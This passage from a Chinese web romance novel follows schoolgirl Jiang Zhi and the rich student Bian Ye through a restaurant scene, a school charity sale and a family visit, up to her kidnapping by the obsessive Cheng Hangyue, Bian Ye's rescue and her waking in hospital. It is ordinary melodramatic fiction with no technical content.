边野把手机往桌上一撂,五官锋锐冷厉,像是没看过论坛似的,平静得过分。 敲出一根烟咬住,他摸了打火机点燃。 青灰色烟雾自唇角缝隙里出来。 “要我说……咳咳——?!” 宋言旭还在义愤填膺,就听到他这话,一口酒呛在喉咙里,差点要打120抢救。他揩了把嘴边的酒渍,不可置信,“就……就这么放过这小子了?” “嗯。”他面色平淡,一口烟抽下去,烟纸燃烧的声音窸窸窣窣。 “你不喜欢姜妹妹了吗?”宋言旭有点震惊。 他低嗤一声,眼底闪过一丝嘲意,“喜不喜欢的重要吗?” “当然——”宋言旭欲言又止,一股情绪像鱼刺般卡在喉咙里,浑身难受,“野哥,我很少看你这么认真,姜妹妹也是个好女孩,错过多少可惜。” “但是……”他吁了口气,“不喜欢她也挺好的,喜欢姜妹妹这种好学生,挺辛苦的。” 边野散漫地撩起眼皮,讥笑地看他一眼,“少在我面前多愁善感,别恶心我。” “艹!”宋言旭气地捶胸顿足,戏瘾犯了,“我好不容易酝酿的情绪,都被你毁了!” “滚。” 他懒淡地抽完这根烟,按灭。 又开了瓶新酒。 宋言旭见状,心底叹了口气。 没想到他们野哥这种放荡不羁爱自由的人,有一天也会被这种东西束缚。 “你继续喝着吧,我再去打两球。” 他起身正准备走,手机忽然响了下,摸出来一看,是池念给他发的微信。 [知知跟程杭越单独去吃饭了,程杭越这个人我信不过,但我现在出不来,你能不能帮我去看看。] [这是定位。] “卧槽!” 宋言旭惊呆了,确定自己没看错,赶紧给他看,“这我真忍不住了,他.妈.的还真要对姜妹妹下手!” 边野眉眼冷淡,撩起眼皮看到后,眸色一沉。 “野哥,这你还要忍吗,换我真是——” 宋言旭这回话还没说完,就见人已经一阵风似的狂奔出去了。 “……?” 反应过来后,他意会地摇摇头。 他就说嘛,野哥怎么可能这么平静。 爱惨喽。 边野喝了酒没法开车,让代驾一路高速冲到目的地。 一到他就下了车,直奔那家苍蝇馆。 苍蝇馆门口这个点全是客人,他形容仓促,面色阴沉,引来不少人注目。 边野喘了口气,站在原地,视线迅速扫过这一片。 那道熟悉纤薄的背影最终被他在苍蝇馆室内找到,她背对着他,对面坐着程杭越。 边野沉着脸,心底有忍不住的怒意。 他沉了口气,找了个空位,忍着油腻感坐下。 问老板要了瓶酒。 老板还给他上了盘花生米,他一粒没动,目光穿过这些熙攘的客人,看着那一角。 因为有被遮挡,他只能看到小半边。 苍蝇馆内,程杭越给姜栀夹了块里脊肉,“尝尝这个。” 她顿了下,保持着礼貌:“谢谢,我自己来就可以的。” “好。”他眉眼间的落寞分明。 姜栀不是没注意到,抿了抿唇,“我只是不习惯,没有别的意思,你别放在心上。” “真的吗?”他一脸渴盼。 “嗯。” 程杭越余光扫到室外人群中的边野,目光近乎乞求地望着她,“那……可以帮我夹点菜吗,我没有亲人,也没有朋友,你……你算我的第一个朋友,我们……算朋友了吧?” 姜栀愣住,心底忍不住泛酸,“是,只要你愿意,我会一直是你的朋友。” 她拿过公筷,每样菜都给他夹了一遍。 这一幕落在边野眼底,他搭在桌上的手缓缓收紧。 掌心被掐得生疼,瞳孔黑得吓人。 “谢谢你姜栀。”程杭越缓缓露出笑意。 她摇摇头,“祝你生日快乐。程杭越。” 像曼妙的春风吹拂冰冻已久的霜草,他心底最深处的黑洞般的泥泞也被耀光照耀到。 炽亮的灯光下,程杭越痴迷地望着她。 如果她愿意在身边,这辈子好像也不是那么难熬了。 “姜栀。” 她咽下嘴里的菜,“怎么了?” 程杭越弯唇,忽然伸手去擦她嘴角边的油渍。 姜栀下意识往后靠了靠,“你、你干什么?” “你嘴边脏了,我就想帮你擦擦——” 外面忽然传来一道拍桌声,突兀又响亮。 程杭越话音一断。 姜栀闻声回头,室外熙攘的客人里,她什么也没看到。 边野几步离开了那个苍蝇馆,一拳狠狠打在树上。 树枝颤抖,有绿叶掉下来。 粗粝的刺痛感从拳窝边传来,他脸色阴沉冷厉,瞳眸冰寒,怒意抑制不住地窜起来,在胸腔里乱窜。 “程、杭、越。” 他有一种要弄死他的冲动。 没看到人,程杭越心底升起一丝得意。 不过转瞬即逝。 “抱歉。”他视线落回到姜栀脸上,“我刚刚不是故意的,只是下意识……” 他一脸愧疚。 姜栀看了他一眼,那种不舒服的感觉仍旧横亘在心底。 “嗯。”她点点头,“吃饭吧。” 一顿饭结束才刚八点。 姜栀在公交站跟程杭越道别后,无意识地往后侧看了看。 并没什么特别。 收回视线,公交车正好过来。 边野坐在车里,叮嘱代驾:“跟着这辆公交,保持点距离。” “好。” 姜栀坐在靠窗的位置,轻轻推了一条缝。 凉凉的风吹进来,拂在脸上,心底里闷闷的感觉被吹散了不少。 夜色很深,霓虹灯光璀璨,城市里车水马龙,来往碾压马路的声音和鸣笛声交杂在一起。 她安安静静地看着匆促下班的行人,忍不住出神。 下了公交往边家别墅还有段路要走,姜栀背着书包,走了几步,忽然停下。 她回头往后看了眼,空空如也。 等她收回视线,边野才从一座别墅后现身。 他低嗤一声,对他倒是谨慎。 他站在原地,看着姜栀加快速度往边家走,没再跟上。 等人彻底进了大门,他才放下心来。 夜风吹过树梢,发出簌簌声响。 边野毫不在意地坐在路边花圃的边沿上,摸出一根烟点燃,重重吸了口,吐出青灰色烟圈。 “呼——” 他面色淡漠,没焦点地望着远处。 如果老东西当着他面或者单独找她说,他都可以过去跟人叫嚣。 可她只是意外听到。 愁绪在心底水泥似的滚着,堵得他喘不上气来。 如果他没告诉她自己在医院…… 边野眼底浮出自嘲的笑意。 他这种人什么时候还在意起这种虚空的假设了。 一根烟见底,他捻灭丢进垃圾桶,从石阶上起来。 背对着边家,逐渐走远。 边家别墅二楼,坐在写字桌前的姜栀握着笔,半天没做完一道题。 默了会儿,她起身走到窗边,拉开窗帘一角。 外面漆黑如墨,道边路灯昏黄。 没有半个人影。 姜栀纤长的眼睫微垂,挑着窗帘的手缓缓放下。 果然是错觉。 怎么会觉得他会在呢。 第38章 第 38 章 五一放假前, 学校举办义卖活动,鼓励大家发挥自我能动性。 姜栀没有太多创意,和池念一组只打算做点茉莉花手串卖卖, 附上激励性词语也算个好彩头。 义卖那天, 阳光正好。 两人提早搬了两张桌子放在篮球场上, 又在桌上搭了一个简易架子, 简单布置了下, 相比较周边那些精心准备的, 看上去没什么新意。 对楼走廊上, 边野懒散地倚靠着墙围,远远看着姜栀的摊位。 宋言旭扫了眼,忍不住摇头,“野哥,姜妹妹这卖的看着不妙啊,花花草草的, 一点都不吸引人, 边上那些卖的新颖多了,要不咱去资助下?” 边野没说话,面色淡漠。 和宋言旭一个想法的,还有池念,她看着周边那些光彩夺目的摊位,有点担忧。 要是到时候卖不出去,干脆把这些都送人好了。 只是没想到,义卖一开始, 就有不少人围过来。 其中大半都是男同学。 “校花, 这个怎么卖啊。” 有男生大着胆子上前问,耳根一下子红了。 “小串十元一袋, 大串二十二一袋。” 姜栀温温软软回应,她眉眼漂亮清纯,待人又亲近,“还有,叫我姜栀就好。” 男生听到这话,越发红温,“那……那给我拿一个。” “好。”她声音清甜。 池念嗅到商机,笑眯眯地收钱,“两串有九五折啊,多买优惠!” 不过十几分钟,姜栀摊前就被围满了人。 从一开始只是单纯卖茉莉花串,到后面每卖一串就要合影一次,她脸上笑意就没停下来过。 宋言旭远远看着,叹为观止,“我滴个乖乖,这到底是义卖活动还是明星见面会啊,我来圣嘉两年,还是第一次见这阵仗。” 边野原本淡漠的脸已经沉得能挤出墨来。 “这些男的哪里是去买东西啊,简直是——哎,野哥你去哪儿啊!” 宋言旭话都没说完就见他已经大步流星地走了出去。 冷着张脸,目光锐利地跟看敌人似的。 他给了自己一巴掌。 真是哪壶不开提哪壶。 赶紧跟上去。 下了楼梯,边野脸色越发冰冷,朝着姜栀的摊子一路过去。 周边同学看见他,都纷纷让路。 “知知!” 池念眼尖看到人,赶紧过去用手肘戳了戳她,“边野来了!” 姜栀愣了下,顺着她的视线看过去,果然看到那道高挺的身影逐渐走近。 “池念,我去下卫生间,你先看下摊子。” 她说完,匆匆把手串放下,转身准备走。 “姜栀。” 低冷沉磁的声音从身后传来,她下意识一顿。 “我来买东西也要躲着我吗?” 被发现小心思,姜栀有点尴尬。 她站在原地,没回头,脸颊却逐渐发烫。 不少过来买茉莉花串的同学目光游移在两人之间,气氛莫名怪异。 池念脚趾抓地,歪了歪身子看她,低声问:“知知……你还去卫生间吗?” 姜栀默了一瞬,抿了抿唇,回头看他,“你要买哪种?” 边野随意指了个,“就这个。” 她尽量面色平静得拿过扎好的茉莉花串递过去,“二十二。” 他扫码付了钱,把手腕伸过去。 姜栀愣了下,没懂。 “不是说顾客是上帝吗?不给顾客戴好吗?”他瞳眸漆黑,里面映着少女柔嫩白皙的脸。 池念见她没动作,拿过茉莉花串,“我来吧,我给你戴。” “就要她。”边野神色懒淡。 围观的学生们一脸吃瓜模样。 姜栀默不作声地轻吸了口气,拿着茉莉花串走到他面前,给他仔细戴上。 细铁丝和茉莉花的擦过他的腕骨,轻飘飘的触感,边野低眸看着她,少女眉眼轻垂着,动作温柔。 浅绿色的丝带在他腕下系成个蝴蝶结。 阳光下泛着清透柔软的色彩。 跟过来的宋言旭看到,差点没忍住笑出声。 他们冷漠不可一世的野哥有一天居然也会戴这种东西。 见他仍旧站在原地不动,姜栀轻声提醒:“如果没别的事,还请让一让,别挡着别的同学购买,谢谢。” 边野眉头沉压了一分。 “不是还有个合照吗,别人行我不行?”他眉头微挑,脸上却没什么笑意。 “没……”姜栀看着他,“我可以配合的。” 旁边同学纷纷让开了些。 边野拿出手机才想起来,他们认识这么久,还没一张正经的合照,第一张合照居然是在这种情况下出来的。 姜栀站在他身边,保持着一定的距离。 边野看着镜头里像陌生人的两人,有点不悦,“跟别人就可以那么亲密,跟我就要这么疏离,区别对待?” “过来点。” 他嗓音冷淡。 姜栀抿了抿唇瓣,往他身边走近了一点。 “你是蚂蚁吗?”他皱眉。 姜栀:“……” 随后又挪近了一点。 边野冷着脸,伸手把人往跟前一拉。 动作太过突然,她一时没反应过来,脸颊撞上他胸口,一瞬间被烫到似的撤开,“对……对不起。” 她吸了口气,脸颊攀上粉晕。 “嗯,别动。” 边野眼底闪过一丝愉悦,“看镜头。” 姜栀乖乖配合。 手机“咔嚓”一声,边野稳稳拍下。 姜栀赶紧拉开距离。 他看着这张合照,少女眉眼里没什么笑意,反而有点拘谨,透露着青涩感。 掐灭屏幕,他继续靠近姜栀。 围观的人越来越多,她面红耳赤,“边同学,你……你还有什么事吗?” 他低嗤一声,“边……同学?” 姜栀莫名心虚地错开眼神,眼睫微颤,“你挡着后面的同学买手串了。” 他回头扫向那些人,一字一句地问:“挡着你们了?” “没没没!”那些人纷纷摆手,又往后退开了点。 姜栀咬了下唇瓣:“……” 他没再逗她,淡淡扫了眼摊位上余下不多的茉莉花串,“这些我都要了,包起来。” 池念瞪大了眼睛。 不愧是富二代啊,真是财大气粗。 她眼眸一转,不对,怎么看起来更像是吃醋啊? 姜栀愣了下,随即摇头,“不行。” “怎么不行?”他嗤笑,目光凝着她琥珀色的眼睛,“不是义卖吗,还搞限购?” 他勾唇,眼底却没有笑意,“还是说只针对我?” 姜栀眼眸偏开,“没。” “我是不是跟你说过,”他逼近几分,气息清冽,“你很不会撒谎。” “你——”她咬了咬牙,却不知道该说什么。 边野盯着她眼睛看了好一会儿,默不作声的转身离开。 直到他走出去很远,姜栀才回过神。 池念轻轻靠过去,“知知,怎么感觉他被你伤到了。” 有吗? 姜栀收回视线,深吸了口气。 “好啦,别乱猜了。” 茉莉花串剩得不多,同学们都很热情,没多久她们这个摊位的义卖就结束了。 池念数了数今天的收入,脸都要笑烂了,“知知,太厉害了,居然有近两千块!” 她温软一笑,“你把杂货收一收,这两张桌子我搬去杂物室。” “好嘞!” 两人分头行动,姜栀一路走向杂物室。 路程不远,但她缺少锻炼,没几步路就已经累得气喘吁吁。 咬着牙搬上一层楼,她站在楼梯中间准备休息会儿再继续。 身后忽然传来一阵脚步声,姜栀一回头就看见一只遒劲的手臂把那张桌子搬了起来。 轻而易举。 就像没看见她似的,搬着上楼。 “哎——” 姜栀惊了下,急忙跟上。 “边野,我自己来就可以的,你、你别……” 少年力气大,三两下就搬进了杂物室,“我什么?” 他目光逡巡着她这张脸,“之前有人看着你介意就算了,现在没人介意什么?” “我、我们都成年了,应该保持距离。”她声音温软,令人生不起气来。 她很认真地遵从边叔叔的意愿。 但……他不喜欢这样。 甚至厌恶。 明明就快好起来了。 “我知道你在想什么。”边野一步一步逼近她,杂物室里空间不大,没一会儿就把人逼到了角落里。 “边野?”她蹙眉,后背贴着墙壁,冰凉。 少年一手撑在她一侧,视线复杂地凝着她。 这段时间,他努力克制自己不去找她看她,可心底跟爬了无数只蚂蚁似的。 斯痒难耐。 今天看到那么多男生拉着她合影,她笑意融融的,他快嫉妒疯了。 恨不得把那些人全弄死。 “边野?”他瞳眸漆黑地像个无底洞,姜栀莫名有些惧意。 “抱歉。” 最终还是什么都没说,收回了手,面色淡漠,“去把另个桌子拿过来,我给你搬。” 在她开口前直接冷硬道:“不许说不。” 姜栀:“……哦。” 下楼时,她回头看了眼随意倚靠在墙边的少年,心底轻叹了口气,快步走下去。 走廊处视野很好,边野的目光随着她纤瘦的身影移动。 就这一次。 以后就不要再出现在她面前了。 别让她夹在中间难做- 义卖活动结束,紧接着就是五一假期。 放学后,姜栀收拾了东西走出校门,没回家,去了老宅。 老太太一早就在等着了,看见她来高兴得合不拢嘴,满脸慈祥:“知知来啦,都好久没过来看奶奶了,想不想奶奶啊?” 姜栀乖巧点头,眼底一片温柔,“嗯,想的。” 老太太慈爱地拉着她往客厅走,“春节过得怎么样?” “挺好的,爷爷奶奶都——”姜栀正温温柔柔说着,身后传来一阵汽车碾压路面的声音,她下意识回头,透过前窗玻璃看见主驾上的人。 话到嘴边停住。 “小野来啦。”老太太朝他招了招手。 边野把车钥匙丢给管家,大步流星地走过去。 “奶奶,几天不见,又变好看了,女明星跟你比都要逊色。”他像是没看见姜栀似的,勾唇调侃。 “臭小子,嘴这么贫。”老太太嗔他一眼,笑得宠溺。 边野笑呵呵地接话哄她开心。 姜栀站在一边,始终没看他。 老太太矍铄的目光在二人间不动声色地往返,不由低笑。 “知知呀,能不能帮奶奶去把大黑牵出来?”她握着姜栀的手,神色柔软。 “好。”她点点头。 现在已经没有原来那么怕大黑了,甚至她还很喜欢大黑,正好留在这里跟边野一起的话,她也不知道该说什么。 等她走了,边野才用余光瞥了眼。 “小野,你老实告诉奶奶,是不是跟知知吵架了?”老太太面色温和,笑着问他。 边野眼眸微动。 果然,只要是个人都能感觉到他们之间怪异的氛围。 “没事。”他淡淡出声,“晚上有没有做糖醋排骨?” 老太太睨他一眼,“你哪次来没给你备着,馋鬼。” “知知是个好孩子,现在无父无母的,你爸他也顾不上知知,你对她好点。”她看着边野叮嘱,“别看她乖巧,但什么事都藏在心里。” “别跟她吵架,男孩子嘛,让让人小姑娘。” 边野也没否决,“嗯,我知道。” 姜栀如今跟大黑相处得很好,她牵着过来时,落日余晖就在身后映照,美得像幅画。 “奶奶。”她温温柔柔地喊人。 老太太慈祥地看她,“晚饭还没做好,替奶奶遛遛大黑成不?” “它在家里闷久了,也想出去走走。” 大黑配合地“汪汪”叫了两声,尾巴摇晃个不停。 活泼又热情。 “行。”姜栀乖乖应下,握着大黑的牵引绳,“那我带着它走一圈再回来。” “去吧。”老太太满面笑容。 姜栀没看边野,牵着大黑就赶紧往院子大门过去。 走远了她才松口气,眼底拂过一抹落寞。 明明也没说什么话,为什么只是跟他站在一起都觉得压抑。 “你还愣着干什么,还不快跟上去。”老太太恨铁不成钢地嗔他一眼,“天马上黑了,总不能真让她一个小姑娘在那遛吧。” 边野无奈一笑,“奶奶您就瞎操心吧。” 天色暗下来。 姜栀牵着大黑在老宅外围遛,大黑像是很少出来,兴奋得到处闻。她有些心不在焉,脑子里还在想着白天义卖的事。 大黑突然看到远处的小狗,猛地冲出去,姜栀没注意,身形又瘦弱,还没反应过来,手里牵引线倏地绷直,她被这股力道一下子带出去,不受控制地往前跌撞。 “大黑!” 她回过神,赶紧去拉,但大黑比她重多了,此刻兴奋得很,根本不听话,几乎被拽着走。 姜栀收不住,一只手臂忽的出现在视野里。 猛地拽住牵引绳。 “松手。”边野低沉出声。 “啊……哦。”她没拖拉,听话地松开。 “大黑!过来!”边野蛮力拉紧,一下子将速度控制住,冷冷下令。 大黑原本还很馋地要去追小狗,听见这话,来来回回在原地打转。 呜呜直叫。 “大黑——” 他拧眉,声音沉了不少。 大黑又呜了两声,听话地跑过来,在他裤脚边蹭了蹭。 “坐好。”他淡淡出声。 大黑乖乖坐着,尾巴摇摇晃晃,仰着脑袋讨好地看着他。 “别看我,看她。道歉。” 姜栀闻言,噗嗤一声差点笑出声。 “呜呜——” 大黑在身边来回蹭,可爱得要命。 “好啦。”她柔柔软软地摸了摸它脑袋。 边野眼尖地看到她泛红的掌心,沉着脸抓过。 “欸……” 她惊了下,下意识想抽回手。 “别动。”他拂开她手指,掌心一片红,都是被牵引绳勒出来的。 姜栀余光看了眼四周,好在没人。 “我没事的,不疼。你放开我吧。”她试图讲道理。 “当我瞎?”边野拧眉,睨她一眼,手却温和地给她按摩。 姜栀没有别的理由,又抽不开手,只好任由他摆弄。 少年垂着眼睫,路灯昏黄,从斜侧照映在他身上,蒙上一层浅淡的光。 “好点了吗?”边野低声问。 “嗯。”她趁势抽回手,看见他拿着牵引绳,也没要过来。 “我……陪你一起遛它吧。” 边野没拒绝,握着牵引绳带着大黑绕着老宅走。 姜栀走得快他一步,裤脚忽然被一股小小的力道拽了下。 她低头,看见大黑正咬着往后拖。 “呜呜”了两声后又蹭了蹭落后的边野。 她看懂大黑的意思,站在原地等他。 “没事,你走你的。”边野没看她,眼眸低垂。 她摇摇头,仍旧等他一起。 气氛安静许久。 直到大黑转了一圈往老宅回,边野在进大门前忽然开口。 像石子坠入平静的湖面,荡起一圈涟漪。 “程杭越这个人不能信任,你离他远点。” 姜栀眨巴着眼睛,一时没应。 他以为她不愿意,语气冷急了两分,“踏青那天他救你,不会那么巧。” 姜栀抬眼看他,少年眉眼里透着关切。 “嗯。” 她知道的。 第39章 第 39 章 老宅那天后, 姜栀半个多月都没再见过边野。 期末考试前一周的周末,她去了一趟陈奶奶家,用零花钱买了些水果牛奶带过去。等到了暑假她要回孟城, 没机会再来看望。 陈奶奶是个可怜人, 是她之前做志愿时在路边认识的。年近八十, 丧夫又丧子, 腿脚还不方便, 靠捡垃圾过活。那天被人欺负她看不过眼出手相助, 因此结缘。 一个人在家总是颤颤巍巍的, 看得人揪心。 陪了陈奶奶一上午,她才准备回家。 下楼时,姜栀意外碰见个熟悉身影,扶着老旧剥落的墙壁走路,状态看起来很差。 “程、杭越?” 她看着走在跟前的男生,试探出声。 男生回头, 脸色苍白, 双眼没什么光彩。看见她时眼底浮出意外,目光闪躲着想把自己藏起来。 “你、你怎么在这儿。” “我来看望陈奶奶。”她声音温软,走下阶梯问他:“你是不是不舒服,要去医院吗?” 他摇头,“不去。” 末了加了一句:“……没、钱。” 姜栀愣了一下,想起来他的家境,从书包里拿出零用钱,“我这里还有一点, 你要是不嫌弃, 就拿着去医院吧,生病不能拖着。” 程杭越看着那几张纸币, 黑眸动了动,掀起眼皮看她。 “不用还我的,你拿着。” 他错开视线,“不用。” 见他执意不接,姜栀叹了口气,默不作声收回。 “那……再见。” 越过程杭越,她背着书包往外走。 “姜栀。” 身后忽然传来他的喊声,她步子一顿,回头看了眼,“怎么了?” 程杭越面露窘迫,但又好像不得不求她,“可不可以……帮我在附近买点退烧药,我……我好像快撑不住了。” 像是生怕她拒绝,又赶紧加了句:“就当、抵我上次救你一命的事,可以吗?” “嗯,那你在这等我。” 姜栀去了附近的药店,买了退烧药和一些常备药才回来。 回到单元楼后,程杭越没接那些药,扶着墙一步一步往地下室走,她只好跟在后面。 地下室里阴冷潮湿,漆黑得像无底洞,透不进一丝光亮。 四面墙壁里堆着很多破烂,空间很小,摆了张小床和桌椅似乎就没有多余的地方了。 沉闷又压抑。 姜栀有些惊讶他住在这里。 “药我放在这了,你……好好休养。” “嗯。” 她转身离开之际,脖子被什么砸了下,突然一痛。 眼前一瞬发黑。 什么都没来得及说就晕了过去。 程杭越低眸看着地上没意识的少女,把手里的棍子放在一边,缓缓蹲下来,近乎迷恋地抚摸着她白皙无暇的脸。 “这一次,总算没有外人在了。” “姜栀,你是……我的了。” 他凑到她颈边深深吸了口气,浑身都在战栗,先前虚弱的模样一扫而空。 越过她,他开门走出去。 去取自己藏了很久的东西。 许久后。 姜栀缓缓有了意识,脖子后面隐隐作痛,她皱着眉头艰难睁眼。 地下室里开了灯,白色灯光并不晃眼,甚至有点昏暗。 身上很痛,她忍不住动了动。 有铁链剐蹭的声音传来。 看到眼前生锈又结实的铁笼,姜栀愣住,才意识到自己被锁在了哪里。 手腕上被缠绕着锈迹斑斑的锁链。 脚上也是。 她下意识挣扎,但纹丝不动。 是程杭越,为什么? 姜栀想不明白,可地下室的门紧紧关着。 她吸了口气,艰难地从笼子里爬出来。 手脚被捆住,她一点一点的去往门边,铁链绑得很紧很紧,在手腕和地面之间不断摩擦,白皙的皮肤瞬间被磨红了,等她爬到书包边,已经磨出了血。 姜栀满头都是汗,费了十足的力气才勉强压着门把手站起来。喘了口气,她用力去转门把手,可怎么都转不开。 急得鼻子一酸,硬生生才憋了回去。 姜栀,冷静点,他还没回来。 别怕、别怕。 她打不开门,咬着牙关去拉墙边的书包。 拉开拉链,姜栀艰难地从里面翻出手机,那原本是今天用来联系陈奶奶的。 她打开微信,手止不住地颤抖。 主页最上面是边野,她喉头哽住,深吸了口压住情绪,给池念发过去消息和定位。 刚发完,她就听见外面有脚步声传来。 是、是程杭越吗? 不可以被他看见。 姜栀紧张不已,又慌又急地把手机关机塞回书包。 快爬回去! 她咬着牙,忍着手脚磨出的疼,往回爬- 会所里。 边野正在和宋言旭打台球,一通电话突如其来,打断了这局。 宋言旭磨着球杆,把手机搁在桌上开了免提。 “啥事儿啊池念妹子?” “出大事了!” 池念急得话都快说不清楚了,声音明显不稳,“边野在你边上吗?” 边野掀了下眼皮,“什么事?” 池念像是抓到救命稻草,“边野,知知出事了!”她忍不住哭起来,“她被程杭越那个疯子绑了,你快去救救她!” 宋言旭瞪大了眼。 卧槽?看不出来啊! 边野原本懒淡的面色一瞬凝结,“她在哪儿?” “我、我发给宋言旭手机上。你们一定要尽快!”池念抽噎着挂断电话,下一秒,宋言旭就收到定位消息。 边野拿过手机看了眼,冷着脸一秒不耽误地冲出去。 宋言旭愣了下,也赶紧跟上。 上了车,他沉着脸,一脚猛踩油门,跑车疾驰着如离弦之箭飞出去。 一路穿插着空挡,不要命似的开法。 宋言旭虽然玩过赛车,但也只是在专用赛车跑道上,他紧张地拉紧了车内的把手。 太……他.妈刺激了- 地下室的门咔哒一声打开。 程杭越一眼看见跟前的姜栀,眼眸一瞬间阴沉。像被什么刺激到,他一把抓住姜栀的头发,往后一扯,怒吼:“你.他.妈敢跑!谁让你跑的!” 头皮痛得发麻,她咬紧了牙关,“我、我没……” 她话还没说完就被拖行到笼子边,被他猛地一甩,脑袋硬生生撞在铁笼上,疼得发抖。 “对、对不起,弄疼你了是不是?” 程杭越一脸紧张地捧着她的脸,举动温柔地去抚摸她脑袋。 气色状态都很好,哪还有她之前见到的那样。 “你、你别碰我!” 姜栀往后躲,想要逃离他的触碰,却没半点用。 他伸手眷恋地抚摸着她的脸,却被她别过,看到她脸上的怒意,也没生气,“也是,这么漂亮,就应该有点脾气的。” “知知——” 他眯起眼,手指一路流连到她脖颈,好软好嫩。 “我听他们都这么叫你,我也可以这么叫你吧。” “程杭越,你到底要做什么?” 她满脸警惕,白皙的脸苍白几分,心底升起惧意。 程杭越打开铁门,哐哐当当的刺耳。 抓着她的手,把人直接塞了进去,“别想着跑,你也跑不掉的。” 姜栀拧眉,浑身泛起颤栗,想躲都躲不开。 “你别碰我,我恶心。” 她生气起来也没什么威力,让程杭越看着反而心痒痒。 “恶心?” 他冷笑一声,就坐在她边上,强行把人搂进怀里。 姜栀挣扎,但被他按得很死。 “你本来就应该跟我一样,像个空气一样不被任何人喜欢,我们才是一样的人,你不该跟边野那种人搞在一起。” 他越说越激进,“我们才是同类!” 姜栀强迫自己冷静,“所以上次踏青我落水也是你干的对吧。” “对啊!”他呵呵笑起来,很张狂,“那是我第一次跟你近距离接触,你不知道我心里多兴奋,可惜啊,”他眼底露出狠意,“被边野搅黄了,该死的东西。” 边野…… 姜栀失神片刻。 “你放开我,有什么我们可以好好谈,你这样绑着我,明天就是周一,我一个大活人要是不见了,老师会报警的。” 程杭越嗤笑,“我知道,所以……我早就准备好了。” 他拿出破烂般的手机,强迫姜栀拍了很多张亲密的合照。 “有了这些,我什么时候叫你岂不都是随随便便的事儿?” 姜栀挣开他,眼底一片恶寒。 上一世,这张脸在高中没有恢复,也就没有程杭越这档子事,但这辈子…… 她强忍住恶心,拉着他衣服,试图缓解他激烈的情绪,“我、我饿了。” “你绑我可以,但能不能给我弄点吃的。手脚被绑成这样,也不可能跑,再不济,你把门锁上行吗?” 说完,肚子配合的叫了声。 “那我买什么你吃什么。”程杭越没给她任何选择。 “嗯。” 临走前,他拽了拽她手脚上的锁链,确定牢固才准备走。 在他转身的瞬间,姜栀屏气凝神,小心抬手,带着手腕上很重的铁链狠狠朝他脑袋砸过去。 却在半空中,被程杭越一把控制住。 “呵——”他面容扭曲,“你还想伤我?” “我弄死你!” 他一把掐住姜栀的脖子,眼底有莫名其妙的恨意。 “呃——!” 姜栀憋红了脸反抗,力气却越来越小。 “程、杭……越……”她艰难至极地开口,眼神逐渐失焦。 他猛地松手,惊恐地握住她,“姜栀,姜栀!” “咳咳,咳咳——” 她剧烈地喘气,痛得难以言表,浑身都在发颤。 “姜栀,姜栀我错了,我就是一时糊涂才……对不起,对不起!”他把人抱在怀里,狠狠勒住。 “放……开。”锁链硬生生膈在胸口,她痛得眼眶泛红。 “砰!” 地下室门被人一脚踹开,重重摔在墙上,发出激烈的哐当声,摇摇欲坠。 边野一眼看到被程杭越硬扣在怀里、面色惨白又狼狈的姜栀,怒意像激流冲上来,他一把拽过他衣领,狠狠给了几拳。 拳拳到肉。 姜栀脱离了快要窒息的怀抱,大口大口的呼吸。 她疲惫地靠在铁笼边缘,眼前都快模糊。 两个身影扭打在一起。 闷哼声和怒骂声搅和着。 “边野……?”她艰难开口,嗓子沙哑得厉害,随即猛烈的咳嗽起来。 怎么会是你。 不要。 不要打死他,你会出事的。 “咳咳……” 边野。 姜栀想说话,嗓子跟失声了似的发不出声音。 宋言旭冲过来的时候,看见这么个荒唐的场景,吓了一跳,看了眼还有气儿的姜栀,赶紧先去拉边野。 “野哥,你收着点,你往死里打没事,但别把人打死了,打死了很麻烦的。” 边野喘了口气,怒意未消,目眦欲裂。 他咽了咽嗓子,看了眼姜栀,奄奄一息,手脚上的锁链已经把白皙的肌肤勒出血迹。他吸了口气,低声叮嘱宋言旭:“你送她去医院,这里你别管。” 宋言旭见他眼神坚决,不好再说什么,扶起姜栀往外。 她头很疼,全身都疼,但还有一点意识。 “边野……”她声音轻飘飘的,宋言旭费了点力才听清楚。 “没事没事,野哥自己有分寸的。” 出地下室前,她努力回头看了眼,对上边野幽黑深邃的眼眸,凉得阴沉,没有温度。 姜栀还想再说点什么,眼前一阵阵的晕眩。 很快就倒在了他肩上。 室内。 程杭越被死死压在地上,嘴边全是血,趁他还没回神,猛地给他一拳头,“英雄救美,没用的,我已经享受过了,呵呵!” “我草!” 边野被激怒,咬牙揍过去,“我他.妈弄死你!” 四个拳头搅和在一块,都是往死里打的程度。 家具破碎一堆,满屋狼藉- 医院vip病房里,静得针落可闻。 空气里弥漫着浅浅的消毒水味。 病床上躺着身形单薄的少女,脸色苍白,没什么血色,手背扎着针,吊瓶里的盐水一滴一滴滴下去。 姜栀纤长黑密的睫毛轻轻颤动,像被困在了巨大的梦魇里。 “你是我的,你是我的!谁也别想得到你!” 程杭越掐着她的脖子,狠狠发力,眼角赤红,“你要敢跟别人在一起,你就跟我一起死!一起死!” 歇斯底里的吼叫,狰狞扭曲的面目,像青面獠牙的恶鬼,捶打着她。 她奋力挣扎,窒息感却越来越重。 几乎快要死掉。 “嗬!” 巨大的恐惧和窒息感交错笼罩,姜栀猛地睁开眼,双手抓紧了被子。 看到雪白的天花板,完全不同于地下室般的阴暗。 离开地下室前的一幕幕在脑子里闪现。 她惊恐地睁着眼睛,后知后觉地缓过来,紧绷的神经也松懈下来。 “嗬——嗬——” 姜栀紧握着领口,后怕地大口喘气,额角渗出细密的汗珠。 没事了。 没事了,姜栀。 她紧紧咽着嗓子,手控制不住地轻轻颤抖。 病房门被人敲了下,姜栀回过神。 “进。”她声音沙哑。 门被人推开,她偏头去看,是白司裴。 “你怎么来了?” 晕倒前,明明只有边野和宋言旭在的。 白司裴把一大束康乃馨放在病床边的柜子上,他今天穿着一身白衬衣,戴着副金丝框眼镜,看起来斯文俊秀,温润儒雅。 “是池念,她拜托我来看看你。” 他眉眼温和,“她说她一时间出不来,又很担心你,你知道的,这种事我很乐意代劳。” 姜栀靠坐在床头,低垂着眼睫,脸色虽然依旧苍白,但状态比地下室那会儿好了很多。 “谢谢你。”她哑着嗓子,模样柔软。 “程杭越已经被送警局了,学校里,边野为你请了一天假,你可以多休养两天,身体重要。” 姜栀愣了下,“好。” “你看起来很疲惫,要不要再睡会儿?”白司裴温和笑问。 她偏头看向窗外,临近夏天,虽然已经下午,但阳光还是很好。 “嗯。” “行,你睡吧,我在这陪你一会儿,顺便给池念汇报一下。” 姜栀没反驳,她缓缓闭上眼睛。 胸口却像压了块吸满了水的海绵,越来越重,越来越重。她闭着眼,脑子里满是边野和程杭越扭打的场景。 边野他……还好吗? 